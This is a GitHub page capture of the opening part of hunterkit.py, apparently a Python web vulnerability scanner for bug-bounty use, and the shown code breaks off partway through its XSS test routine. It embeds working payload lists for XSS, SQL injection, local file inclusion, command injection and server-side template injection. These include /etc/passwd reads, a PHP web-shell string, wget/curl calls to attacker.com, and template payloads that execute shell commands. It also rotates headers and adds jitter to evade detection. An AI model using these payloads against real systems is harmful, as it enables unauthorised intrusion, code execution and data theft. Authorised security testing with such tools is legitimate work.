-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathhunterkit.py
More file actions
1634 lines (1355 loc) · 76.5 KB
/
Copy pathhunterkit.py
File metadata and controls
1634 lines (1355 loc) · 76.5 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python3
"""
HunterKit - Professional Web Vulnerability Scanner
Developed by Kawindu Wijewardhane (@kawinduwijewardhane)
https://github.com/kawinduwijewardhane/HunterKit
The most advanced web vulnerability scanner for bug bounty hunters
Version: 1.0.0 - Final Production Release
License: MIT
"""
import requests
import urllib.parse
import time
import random
import re
import sys
import os
import json
import argparse
import socket
from pathlib import Path
from urllib.parse import urlparse, urljoin
from bs4 import BeautifulSoup
from typing import Dict, List, Optional, Tuple, Set
import warnings
from datetime import datetime
import threading
# Suppress ALL warnings for clean output
warnings.filterwarnings('ignore')
requests.packages.urllib3.disable_warnings()
os.environ['PYTHONWARNINGS'] = 'ignore'
class Colors:
"""ANSI color codes for professional terminal output"""
RED = '\033[91m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
BLUE = '\033[94m'
PURPLE = '\033[95m'
CYAN = '\033[96m'
WHITE = '\033[97m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
END = '\033[0m'
class PayloadManager:
"""Advanced payload management system with deduplication"""
def __init__(self, payloads_dir: str = "payloads"):
self.payloads_dir = Path(payloads_dir)
self.payloads_dir.mkdir(exist_ok=True)
self.payload_cache = {}
self._initialize_payload_files()
def _initialize_payload_files(self):
"""Create comprehensive payload files"""
# XSS Payloads - Comprehensive and tested
xss_payloads = [
# Basic Script Tags
'<script>alert("XSS")</script>',
'<script>alert(1)</script>',
'<script>prompt("XSS")</script>',
'<script>confirm("XSS")</script>',
# Image-based XSS
'<img src=x onerror=alert("XSS")>',
'<img src="x" onerror="alert(1)">',
'<img/src=x onerror=alert(document.domain)>',
'<img src=x onerror=prompt(document.cookie)>',
# SVG-based XSS
'<svg onload=alert("XSS")>',
'<svg/onload=alert(1)>',
'<svg><script>alert("XSS")</script></svg>',
'<svg onload=confirm("XSS")>',
# Event Handler XSS
'<input autofocus onfocus=alert("XSS")>',
'<select onfocus=alert("XSS") autofocus>',
'<textarea onfocus=alert("XSS") autofocus>',
'<details open ontoggle=alert("XSS")>',
'<body onload=alert("XSS")>',
# JavaScript Protocols
'javascript:alert("XSS")',
'JaVaScRiPt:alert("XSS")',
'javascript:prompt("XSS")',
# Filter Evasion
'<ScRiPt>alert("XSS")</ScRiPt>',
'"><script>alert("XSS")</script>',
"'><script>alert('XSS')</script>",
'</title><script>alert("XSS")</script>',
'</textarea><script>alert("XSS")</script>',
# Advanced Payloads
'<iframe src=javascript:alert("XSS")></iframe>',
'<object data="javascript:alert(\'XSS\')">',
'<embed src="javascript:alert(\'XSS\')">',
'<form><button formaction="javascript:alert(\'XSS\')">',
# Encoded Payloads
'%3Cscript%3Ealert("XSS")%3C/script%3E',
'<script>alert("XSS")</script>',
'\\u003cscript\\u003ealert("XSS")\\u003c/script\\u003e'
]
# SQL Injection Payloads - Comprehensive
sql_payloads = [
# Basic SQLi Tests
"'",
'"',
"' OR '1'='1",
'" OR "1"="1',
"' OR 1=1--",
"' OR 1=1#",
"' OR 1=1/*",
# Union-based SQLi
"' UNION SELECT NULL--",
"' UNION SELECT 1,2,3--",
"' UNION ALL SELECT NULL,NULL--",
"' UNION SELECT user(),database(),version()--",
"' UNION SELECT @@user,@@version,@@database--",
# Error-based SQLi
"' AND (SELECT 1/0)--",
"' AND extractvalue(1,concat(0x7e,version()))--",
"' AND updatexml(null,concat(0x0a,version()),null)--",
"' AND (SELECT COUNT(*) FROM information_schema.tables)--",
"' OR (SELECT COUNT(*) FROM information_schema.columns)--",
# Time-based Blind SQLi
"'; WAITFOR DELAY '00:00:05'--",
"' AND SLEEP(5)--",
"'; SELECT pg_sleep(5)--",
"' AND BENCHMARK(5000000,MD5(1))--",
"' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--",
"'; IF(1=1) WAITFOR DELAY '00:00:05'--",
# Boolean-based Blind SQLi
"' AND 1=1--",
"' AND 1=2--",
"' AND (SELECT 'a' FROM dual)='a'--",
"' AND (SELECT COUNT(*) FROM information_schema.tables)>0--",
"' AND ASCII(SUBSTRING(user(),1,1))>64--",
# Advanced SQLi
"' AND (SELECT * FROM (SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--",
"' RLIKE (SELECT (CASE WHEN (1=1) THEN 0x61646D696E ELSE 0x28 END))--",
"' AND ROW(1,1)>(SELECT COUNT(*),CONCAT(0x3a,0x3a,version(),0x3a,0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x LIMIT 1)--"
]
# LFI Payloads - Comprehensive
lfi_payloads = [
# Basic Unix LFI
"../../../etc/passwd",
"../../../../etc/passwd",
"../../../../../etc/passwd",
"../../../../../../etc/passwd",
"../../../../../../../etc/passwd",
# Encoded LFI
"..%2F..%2F..%2Fetc%2Fpasswd",
"..%252F..%252F..%252Fetc%252Fpasswd",
"....//....//....//etc/passwd",
"....\\\\....\\\\....\\\\etc\\\\passwd",
# Null Byte LFI
"../../../etc/passwd%00",
"../../../etc/passwd%00.jpg",
"../../../etc/passwd%00.txt",
# PHP Wrappers
"php://filter/resource=/etc/passwd",
"php://filter/convert.base64-encode/resource=/etc/passwd",
"php://filter/read=string.rot13/resource=/etc/passwd",
"php://input",
"data://text/plain,<?php system($_GET['cmd']); ?>",
# Windows LFI
"..\\..\\..\\windows\\win.ini",
"..\\..\\..\\windows\\system32\\drivers\\etc\\hosts",
"C:\\windows\\system32\\drivers\\etc\\hosts",
"C:\\windows\\win.ini",
"..\\..\\..\\boot.ini",
# Log Files
"/var/log/apache2/access.log",
"/var/log/nginx/access.log",
"/var/log/httpd/access_log",
"/proc/self/environ",
"/proc/version",
"/proc/cmdline"
]
# Command Injection Payloads - Comprehensive
command_payloads = [
# Basic Command Injection
"; id",
"| id",
"&& id",
"|| id",
"`id`",
"$(id)",
# Information Gathering
"; whoami",
"| whoami",
"&& whoami",
"|| whoami",
"; uname -a",
"| uname -a",
# File Operations
"; cat /etc/passwd",
"| cat /etc/passwd",
"&& ls -la",
"|| pwd",
"; find / -name passwd",
# Windows Commands
"; dir",
"| dir",
"&& dir",
"|| dir",
"; type C:\\windows\\win.ini",
"| type C:\\windows\\system32\\drivers\\etc\\hosts",
"&& whoami",
"|| systeminfo",
"; ver",
# Time-based Detection
"; sleep 5",
"| sleep 5",
"&& sleep 5",
"|| sleep 5",
"; ping -c 5 127.0.0.1",
"$(sleep 5)",
"`sleep 5`",
# Network Operations
"; wget http://attacker.com/test",
"| curl http://attacker.com/test",
"&& nslookup google.com",
"|| ping google.com"
]
# SSTI Payloads - Comprehensive
ssti_payloads = [
# Jinja2/Flask
"{{7*7}}",
"{{7*'7'}}",
"{{config}}",
"{{config.items()}}",
"{{''.__class__.__mro__[2].__subclasses__()}}",
"{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}",
# Twig
"{{7*7}}",
"{{dump(app)}}",
"{{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}",
"{{_self.env.getFilter('system')}}",
# Smarty
"{php}echo 7*7;{/php}",
"{php}system('id');{/php}",
"{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,'<?php system($_GET[cmd]); ?>',false)}",
"{$smarty.version}",
# Freemarker
"<#assign ex='freemarker.template.utility.Execute'?new()>${ex('id')}",
"${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(' ')}",
# Velocity
"#set($ex=$rt.getRuntime().exec('id'))$ex.waitFor()#set($out=$ex.getInputStream())#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end",
"$class.inspect($class.type)",
# Generic Template Engines
"<%=7*7%>",
"${7*7}",
"#{7*7}",
"%{7*7}",
"{{7*7}}",
"[7*7]"
]
# Write payload files
self._write_payload_file("xss_payloads.txt", xss_payloads)
self._write_payload_file("sql_payloads.txt", sql_payloads)
self._write_payload_file("lfi_payloads.txt", lfi_payloads)
self._write_payload_file("ssti_payloads.txt", ssti_payloads)
self._write_payload_file("command_payloads.txt", command_payloads)
def _write_payload_file(self, filename: str, payloads: List[str]):
"""Write payloads to file if it doesn't exist"""
file_path = self.payloads_dir / filename
if not file_path.exists():
with open(file_path, 'w', encoding='utf-8') as f:
f.write("# HunterKit Advanced Payload File\n")
f.write(f"# {filename.split('_')[0].upper()} vulnerability testing payloads\n")
f.write("# Developed by Kawindu Wijewardhane (@kawinduwijewardhane)\n")
f.write("# Add your custom payloads here - one payload per line\n")
f.write("# Lines starting with # are comments and will be ignored\n\n")
for payload in payloads:
f.write(f"{payload}\n")
def load_payloads(self, payload_type: str) -> List[str]:
"""Load and deduplicate payloads from file"""
if payload_type in self.payload_cache:
return self.payload_cache[payload_type]
filename = f"{payload_type}_payloads.txt"
file_path = self.payloads_dir / filename
if not file_path.exists():
print(f"{Colors.YELLOW}[WARNING]{Colors.END} Payload file not found: {filename}")
return []
payloads = []
try:
with open(file_path, 'r', encoding='utf-8') as f:
for line in f:
line = line.strip()
if line and not line.startswith('#') and line not in payloads:
payloads.append(line)
except Exception as e:
print(f"{Colors.RED}[ERROR]{Colors.END} Could not load {filename}: {e}")
return []
# Cache the payloads
self.payload_cache[payload_type] = payloads
return payloads
class HunterKit:
"""Advanced Professional Web Vulnerability Scanner"""
def __init__(self, target_url: str, threads: int = 10, delay: float = 1.0, debug: bool = False):
self.target_url = target_url.rstrip('/')
self.threads = threads
self.delay = delay
self.debug = debug
self.session = requests.Session()
self.vulnerabilities = []
self.payload_manager = PayloadManager()
# Advanced statistics tracking
self.stats = {
'requests_total': 0,
'requests_successful': 0,
'requests_failed': 0,
'payloads_tested': 0,
'vulnerabilities_found': 0,
'scan_start_time': None,
'scan_end_time': None
}
# Thread-safe lock for statistics
self.stats_lock = threading.Lock()
# Professional headers with rotation
self.headers_pool = [
{
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.9',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'keep-alive',
},
{
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'keep-alive',
},
{
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.9',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'keep-alive',
}
]
# Set initial headers
self.session.headers.update(random.choice(self.headers_pool))
self.session.verify = False
def print_banner(self):
"""Display professional HunterKit banner"""
os.system('clear' if os.name == 'posix' else 'cls')
banner = f"""
{Colors.CYAN}{Colors.BOLD}
╔═══════════════════════════════════════════════════════════════════════════════╗
║ ║
║ ██╗ ██╗██╗ ██╗███╗ ██╗████████╗███████╗██████╗ ██╗ ██╗██╗████████╗ ║
║ ██║ ██║██║ ██║████╗ ██║╚══██╔══╝██╔════╝██╔══██╗██║ ██╔╝██║╚══██╔══╝ ║
║ ███████║██║ ██║██╔██╗ ██║ ██║ █████╗ ██████╔╝█████╔╝ ██║ ██║ ║
║ ██╔══██║██║ ██║██║╚██╗██║ ██║ ██╔══╝ ██╔══██╗██╔═██╗ ██║ ██║ ║
║ ██║ ██║╚██████╔╝██║ ╚████║ ██║ ███████╗██║ ██║██║ ██╗██║ ██║ ║
║ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ║
║ ║
║ {Colors.WHITE}🎯 Professional Web Vulnerability Scanner{Colors.CYAN} ║
║ {Colors.WHITE}Advanced Bug Bounty Research Tool{Colors.CYAN} ║
║ ║
║ {Colors.YELLOW}┌─────────────────────────────────────────────────────────────────────┐{Colors.CYAN} ║
║ {Colors.YELLOW}│{Colors.WHITE} 🔍 XSS Detection │ 💉 SQL Injection │ 📁 LFI Testing {Colors.YELLOW}│{Colors.CYAN} ║
║ {Colors.YELLOW}│{Colors.WHITE} ⚡ SSTI Scanning │ 🔓 Command Injection │ 🛡️ WAF Detection {Colors.YELLOW}│{Colors.CYAN} ║
║ {Colors.YELLOW}│{Colors.WHITE} 🎯 Custom Payloads │ 📊 Professional Reports │ ⚙️ Multi-threaded {Colors.YELLOW}│{Colors.CYAN} ║
║ {Colors.YELLOW}└─────────────────────────────────────────────────────────────────────┘{Colors.CYAN} ║
║ ║
║ {Colors.WHITE}👨💻 Developer: Kawindu Wijewardhane (@kawinduwijewardhane){Colors.CYAN} ║
║ {Colors.WHITE}🌐 GitHub: https://github.com/kawinduwijewardhane/HunterKit{Colors.CYAN} ║
║ {Colors.WHITE}📧 Contact: https://www.kawindu.co.uk{Colors.CYAN} ║
║ ║
║ {Colors.GREEN} Version 1.0.0 {Colors.CYAN} ║
╚═══════════════════════════════════════════════════════════════════════════════╝
{Colors.RED}⚠️ ETHICAL HACKING ONLY - AUTHORIZED TESTING REQUIRED ⚠️{Colors.END}
{Colors.YELLOW}[⚡] Initializing HunterKit Advanced Security Scanner{Colors.END}"""
print(banner)
# Advanced loading animation
loading_chars = ['⠋', '⠙', '⠹', '⠸', '⠼', '⠴', '⠦', '⠧', '⠇', '⠏']
for i in range(30):
print(f"\r{Colors.YELLOW}[{loading_chars[i % len(loading_chars)]}] Loading advanced modules and payloads{Colors.END}", end="", flush=True)
time.sleep(0.1)
print(f"\r{Colors.GREEN}[✓] HunterKit v1.0.0 ready for professional security research!{Colors.END}")
print(f"{Colors.CYAN}{'─' * 70}{Colors.END}\n")
def update_stats(self, stat_type: str, increment: int = 1):
"""Thread-safe statistics update"""
with self.stats_lock:
if stat_type in self.stats:
self.stats[stat_type] += increment
def debug_log(self, message: str):
"""Enhanced debug logging"""
if self.debug:
timestamp = datetime.now().strftime("%H:%M:%S.%f")[:-3]
print(f"{Colors.PURPLE}[DEBUG {timestamp}]{Colors.END} {message}")
def info_log(self, message: str):
"""Info message logging"""
print(f"{Colors.BLUE}[INFO]{Colors.END} {message}")
def success_log(self, message: str):
"""Success message logging"""
print(f"{Colors.GREEN}[SUCCESS]{Colors.END} {message}")
def warning_log(self, message: str):
"""Warning message logging"""
print(f"{Colors.YELLOW}[WARNING]{Colors.END} {message}")
def error_log(self, message: str):
"""Error message logging"""
print(f"{Colors.RED}[ERROR]{Colors.END} {message}")
def vuln_log(self, message: str):
"""Vulnerability found logging"""
print(f"{Colors.GREEN}[VULNERABILITY FOUND]{Colors.END} {message}")
def validate_target(self) -> bool:
"""Advanced target validation with comprehensive checks"""
self.info_log("Validating target accessibility...")
try:
parsed = urlparse(self.target_url)
hostname = parsed.hostname
if not hostname:
self.error_log("Invalid hostname in URL")
return False
# DNS resolution test
try:
ip = socket.gethostbyname(hostname)
self.debug_log(f"DNS Resolution: {hostname} -> {ip}")
self.success_log("DNS resolution successful")
except socket.gaierror as e:
self.error_log(f"DNS resolution failed: {str(e)}")
return False
# Connectivity test with retries
for attempt in range(3):
try:
self.debug_log(f"Connection attempt {attempt + 1}/3")
headers = random.choice(self.headers_pool)
response = requests.get(
self.target_url,
timeout=15,
verify=False,
allow_redirects=True,
headers=headers
)
self.success_log(f"Target is accessible (Status: {response.status_code})")
self.debug_log(f"Response headers: {dict(response.headers)}")
return True
except Exception as e:
if attempt == 2:
self.error_log("Cannot connect to target after 3 attempts")
print(f"{Colors.CYAN}[TROUBLESHOOTING]{Colors.END}")
print(f" • Check if URL is correct: {self.target_url}")
print(f" • Verify internet connection")
print(f" • Try with a different target URL")
return False
time.sleep(2)
except Exception as e:
self.error_log(f"Target validation failed: {str(e)}")
return False
return False
def rate_limit(self):
"""Advanced rate limiting with jitter"""
if self.delay > 0:
# Add random jitter to avoid detection patterns
jitter = random.uniform(0.1, 0.3)
sleep_time = random.uniform(self.delay * 0.5, self.delay * 1.5) + jitter
self.debug_log(f"Rate limiting: sleeping for {sleep_time:.2f} seconds")
time.sleep(sleep_time)
def make_request(self, url: str, method: str = 'GET', data: dict = None,
params: dict = None, timeout: int = 15) -> Optional[requests.Response]:
"""Advanced request wrapper with header rotation and error handling"""
try:
self.rate_limit()
# Rotate headers to avoid fingerprinting
self.session.headers.update(random.choice(self.headers_pool))
self.debug_log(f"Making {method} request to: {url}")
self.update_stats('requests_total')
if method.upper() == 'GET':
response = self.session.get(url, params=params, timeout=timeout, allow_redirects=True)
elif method.upper() == 'POST':
response = self.session.post(url, data=data, params=params, timeout=timeout, allow_redirects=True)
else:
response = self.session.request(method, url, data=data, params=params, timeout=timeout, allow_redirects=True)
self.debug_log(f"Response status: {response.status_code}, Length: {len(response.text)}")
self.update_stats('requests_successful')
return response
except Exception as e:
self.debug_log(f"Request error: {str(e)}")
self.update_stats('requests_failed')
return None
def detect_technologies(self, response: requests.Response) -> Dict[str, List[str]]:
"""Advanced technology detection"""
technologies = {
'servers': [],
'waf': [],
'frameworks': [],
'cms': [],
'security_headers': []
}
headers = {k.lower(): v.lower() for k, v in response.headers.items()}
content = response.text.lower()
# Server Detection
server = headers.get('server', '')
if server:
technologies['servers'].append(server)
# Advanced WAF Detection
waf_indicators = {
'cloudflare': ['cloudflare', 'cf-ray', '__cfduid', 'cf-cache-status'],
'akamai': ['akamai', 'x-akamai', 'akamai-ghost'],
'aws-waf': ['awsalb', 'x-amzn-trace-id', 'x-amzn-requestid', 'x-amz-'],
'azure': ['x-azure-ref', 'x-ms-', 'azure'],
'incapsula': ['incap', 'x-iinfo', 'visid_incap'],
'sucuri': ['sucuri', 'x-sucuri'],
'barracuda': ['barra', 'x-barracuda'],
'f5-bigip': ['f5-', 'bigipserver', 'x-waf-event'],
'fortinet': ['fortigate', 'fortiwaf'],
'imperva': ['imperva', 'x-iinfo']
}
for waf_name, indicators in waf_indicators.items():
if any(indicator in ' '.join(headers.values()) for indicator in indicators):
technologies['waf'].append(waf_name)
# Framework Detection
framework_indicators = {
'django': ['django', 'csrftoken'],
'flask': ['flask', 'werkzeug'],
'express': ['express', 'x-powered-by: express'],
'laravel': ['laravel', 'laravel_session'],
'rails': ['rails', 'x-runtime'],
'asp.net': ['asp.net', 'aspxauth', 'x-aspnet-version'],
'spring': ['spring', 'jsessionid'],
'php': ['php', 'x-powered-by: php']
}
for framework, indicators in framework_indicators.items():
if any(indicator in content or indicator in ' '.join(headers.values())
for indicator in indicators):
technologies['frameworks'].append(framework)
# Security Headers Detection
security_headers = [
'content-security-policy', 'x-frame-options', 'x-content-type-options',
'strict-transport-security', 'x-xss-protection', 'referrer-policy',
'permissions-policy', 'feature-policy'
]
for header in security_headers:
if header in headers:
technologies['security_headers'].append(header)
return technologies
def extract_parameters(self, url: str) -> Dict[str, Dict[str, str]]:
"""Advanced parameter extraction with improved form parsing"""
parameters = {'get': {}, 'post': {}}
# Extract GET parameters
parsed_url = urlparse(url)
if parsed_url.query:
get_params = urllib.parse.parse_qs(parsed_url.query, keep_blank_values=True)
for param, values in get_params.items():
parameters['get'][param] = values[0] if values else ''
# Extract form parameters with advanced parsing
response = self.make_request(url)
if response and response.text:
try:
soup = BeautifulSoup(response.text, 'html.parser')
forms = soup.find_all('form')
for form in forms:
inputs = form.find_all(['input', 'textarea', 'select'])
for input_elem in inputs:
name = input_elem.get('name')
input_type = input_elem.get('type', 'text').lower()
value = input_elem.get('value', '')
# Include meaningful form inputs
if name and input_type not in ['hidden', 'submit', 'button', 'reset', 'image']:
parameters['post'][name] = value
except Exception as e:
self.debug_log(f"Error parsing HTML: {str(e)}")
return parameters
def analyze_xss_context(self, response_text: str, payload: str, url: str) -> Dict:
"""Advanced XSS context analysis - Universal detection without hardcoded URLs"""
# Check if payload is reflected in response
if payload not in response_text:
return {'exploitable': False, 'context': 'Not Reflected', 'severity': 'Info', 'reason': 'Payload not found in response'}
# Universal analysis
exploitable = False
context = "HTML Content"
severity = "Low"
reason = "Payload reflected but needs context analysis"
# Find payload positions in response
payload_positions = []
start = 0
while True:
pos = response_text.find(payload, start)
if pos == -1:
break
payload_positions.append(pos)
start = pos + 1
for pos in payload_positions:
# Get surrounding context (larger window for better analysis)
context_start = max(0, pos - 300)
context_end = min(len(response_text), pos + len(payload) + 300)
surrounding = response_text[context_start:context_end]
# Check if payload is HTML encoded (not exploitable)
if any(encoded in surrounding for encoded in ['<', '>', '"', '&#x', '&#']):
continue # Try other positions
# Check for script tag injection
if '<script' in payload.lower():
# Look for script tag in HTML context
if not re.search(r'<script[^>]*>[^<]*' + re.escape(payload) + r'[^<]*</script>', surrounding, re.IGNORECASE):
# Payload is in HTML document, not encoded
if any(html_tag in surrounding.lower() for html_tag in ['<html', '<body', '<head', '<!doctype']):
exploitable = True
severity = "High"
context = "HTML Document - Script Injection"
reason = "Script tag injected in HTML context"
break
# Check for event handler injection (img, svg, etc.)
elif any(tag in payload.lower() for tag in ['<img', '<svg', 'onerror=', 'onload=']):
# Check if event handler can execute
if any(html_tag in surrounding.lower() for html_tag in ['<html', '<body', '<head', '<!doctype']):
exploitable = True
severity = "High" if 'onerror=' in payload.lower() or 'onload=' in payload.lower() else "Medium"
context = "HTML Document - Event Handler"
reason = "Event handler injection in HTML context"
break
# Check for iframe/object injection
elif any(tag in payload.lower() for tag in ['<iframe', '<object', '<embed']):
if any(html_tag in surrounding.lower() for html_tag in ['<html', '<body', '<head']):
exploitable = True
severity = "High"
context = "HTML Document - Frame Injection"
reason = "Frame element injection in HTML context"
break
# Check for JavaScript protocol
elif 'javascript:' in payload.lower():
# Check if in href or src attribute
if re.search(r'(href|src)\s*=\s*["\']?[^"\']*' + re.escape(payload), surrounding, re.IGNORECASE):
exploitable = True
severity = "Medium"
context = "HTML Attribute - JavaScript Protocol"
reason = "JavaScript protocol in HTML attribute"
break
# Check for attribute context breaking
elif payload.startswith('"') or payload.startswith("'"):
# Look for attribute context
if re.search(r'<[^>]*\s+\w+\s*=\s*["\']?[^"\']*' + re.escape(payload), surrounding, re.IGNORECASE):
exploitable = True
severity = "Medium"
context = "HTML Attribute Context"
reason = "Attribute context breaking"
break
# Universal HTML document detection (works for ANY vulnerable site)
if payload in response_text and not exploitable:
# Check if response is HTML document with proper content type
if any(html_tag in response_text.lower() for html_tag in ['<html', '<body', '<head', '<!doctype', 'content-type']):
# Check if not JSON/API response
if not any(json_indicator in response_text.lower() for json_indicator in ['"args":', 'application/json', '{']):
# Check for XSS payload types
if any(tag in payload.lower() for tag in ['<script', '<img', '<svg', 'onerror=', 'onload=']):
exploitable = True
severity = "High"
context = "HTML Document - Universal XSS"
reason = "XSS payload executed in HTML context"
return {
'exploitable': exploitable,
'context': context,
'severity': severity,
'reason': reason
}
def test_xss(self, url: str, params: dict, method: str = 'GET') -> List[Dict]:
"""Advanced XSS testing with proper detection"""
vulnerabilities = []
xss_payloads = self.payload_manager.load_payloads('xss')
if not xss_payloads:
return vulnerabilities
self.success_log(f"Loaded {len(xss_payloads)} XSS payloads")
self.info_log(f"Testing {len(xss_payloads)} XSS payloads...")
for param_name in params.keys():
self.info_log(f"Testing XSS in parameter: {Colors.YELLOW}{param_name}{Colors.END}")
# Test reflection with unique marker
reflection_marker = f"HUNTERKIT_XSS_TEST_{random.randint(100000, 999999)}_UNIQUE"
test_params = params.copy()
test_params[param_name] = reflection_marker
response = self.make_request(url, method=method,
params=test_params if method == 'GET' else None,
data=test_params if method == 'POST' else None)
if not response or reflection_marker not in response.text:
self.warning_log(f"Parameter '{param_name}' does not reflect input - skipping XSS tests")
continue
self.success_log(f"Parameter '{param_name}' reflects input - testing payloads")
# Test each XSS payload
for i, payload in enumerate(xss_payloads, 1):
print(f"{Colors.CYAN}[{i:2d}/{len(xss_payloads)}]{Colors.END} Testing: {Colors.YELLOW}{payload[:60]}{'...' if len(payload) > 60 else ''}{Colors.END}")
test_params = params.copy()
test_params[param_name] = payload
response = self.make_request(url, method=method,
params=test_params if method == 'GET' else None,
data=test_params if method == 'POST' else None)
self.update_stats('payloads_tested')
if not response:
continue
# Analyze XSS context
context_analysis = self.analyze_xss_context(response.text, payload, url)
if context_analysis['exploitable']:
vulnerability = {
'type': 'Reflected XSS',
'severity': context_analysis['severity'],
'url': url,
'method': method,
'parameter': param_name,
'payload': payload,
'context': context_analysis['context'],
'reason': context_analysis['reason'],
'poc_url': self.generate_poc_url(url, method, param_name, payload),
'timestamp': datetime.now().isoformat()
}
vulnerabilities.append(vulnerability)
self.update_stats('vulnerabilities_found')
self.vuln_log(f"XSS vulnerability detected!")
print(f" {Colors.BOLD}Type:{Colors.END} {vulnerability['type']}")
print(f" {Colors.BOLD}Severity:{Colors.END} {Colors.RED if vulnerability['severity'] == 'High' else Colors.YELLOW}{vulnerability['severity']}{Colors.END}")
print(f" {Colors.BOLD}Parameter:{Colors.END} {param_name}")
print(f" {Colors.BOLD}Payload:{Colors.END} {Colors.RED}{payload}{Colors.END}")
print(f" {Colors.BOLD}Context:{Colors.END} {context_analysis['context']}")
print(f" {Colors.BOLD}Reason:{Colors.END} {context_analysis['reason']}")
break # Move to next parameter
else:
self.debug_log(f"Payload not exploitable: {context_analysis['reason']}")
